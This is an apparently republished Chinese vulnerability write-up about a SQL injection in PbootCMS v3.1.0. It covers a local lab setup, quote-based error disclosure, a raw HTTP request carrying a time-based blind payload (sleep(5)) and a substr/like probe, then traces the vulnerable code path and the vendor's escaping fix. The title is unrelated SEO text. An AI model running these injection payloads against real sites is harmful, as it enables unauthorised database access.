pbootcms源码_bios cms怎么设置

pbootcms源码_bios cms怎么设置利用 phpstudy 轻松搭建 pbootcms 环境,但是在搭建过程中,我们自己设定 phpstudy 的解析域名不行,需要获取授权码,除了

环境搭建

  利用 phpstudy 轻松搭建 pbootcms 环境,但是在搭建过程中,我们自己设定 phpstudy 的解析域名不行,需要获取授权码,除了到官网去申请外,我们也可以直接通过修改域名为 localhost 绕过。

pbootcms源码_bios cms怎么设置

  因为默认是 SQLilte 数据库 直接就可以安装好,但是为了后面注入的我们将数据库改为 MYSQL 数据库

  修改 config/database.php

pbootcms源码_bios cms怎么设置

  将文件 static/backup/sql/pbootcms_v310.sql 导入到创建好的数据库中

pbootcms源码_bios cms怎么设置

  我们可以通过任意的报错信息获取 pbootcms 的版本信息

pbootcms源码_bios cms怎么设置

漏洞复现

  我们先对漏洞进行复现,之后再做一个整体的分析

  我们向index.php 传参 http://localhost/index.php?1%27

pbootcms源码_bios cms怎么设置

  我们发现直接爆出了 SQL 语句

  尝试闭合

  http://localhost/index.php?1%27)and(%271

pbootcms源码_bios cms怎么设置

  构造数据包

`python
GET /index.php?1')and(sleep(5))and('1 HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

代码100分

  发现成功使得服务器沉睡五秒

pbootcms源码_bios cms怎么设置

  是属于 SQL 盲注 再进一步的做具体验证

pbootcms源码_bios cms怎么设置

pbootcms源码_bios cms怎么设置

  substr((select(database())),1,1)like’p’ 为true 我们本身对应的数据库名为 pbootcms 所以证明SQL 注入无误

  证实漏洞已经存在,我们就对漏洞进行一个分析

漏洞分析

静态逆向分析

  为了找到漏洞代码的位置,我们直接从执行 SQL 语句的函数,添加断点,判断执行 SQL 的内容

  这里我是直接打印出 SQL 语句并停止程序

  \core\database\Mysqli::query

pbootcms源码_bios cms怎么设置

  ‍

pbootcms源码_bios cms怎么设置

  看到了 SQL 语句 就直接进行查询,全局搜索后发现调用来自于

  \app\home\model\ParserModel::getSort

pbootcms源码_bios cms怎么设置

  而注入的参数就是 $scode

  寻找 getSort 的调用,并查看其参数是否可控

pbootcms源码_bios cms怎么设置

  最终在

  \app\home\controller\IndexController::_empty

pbootcms源码_bios cms怎么设置

pbootcms源码_bios cms怎么设置

  path 就是来自于路由器的匹配

动态正向调试

  ‍

pbootcms源码_bios cms怎么设置

  \app\home\model\ParserModel::getSort

pbootcms源码_bios cms怎么设置

  \core\basic\Model::find

pbootcms源码_bios cms怎么设置

  \core\database\Mysqli::one

pbootcms源码_bios cms怎么设置

  \core\database\Mysqli::query

pbootcms源码_bios cms怎么设置

漏洞修复

  在最新版本中这个漏洞已经被修复,我们跟进查看一下漏洞修复方法

  apps/home/controller/IndexController.php::_empty

pbootcms源码_bios cms怎么设置

pbootcms源码_bios cms怎么设置

  我们看到对路由进行了转义处理,如此一来对 SQL 注入的防护似乎达到的一劳永逸的效果,修复方式还是很不错,在入口处添加转义函数,对路由进行转义处理,从而避免掉 SQL 注入

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/4186.html

(0)
上一篇 2023-04-02
下一篇 2023-04-01

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注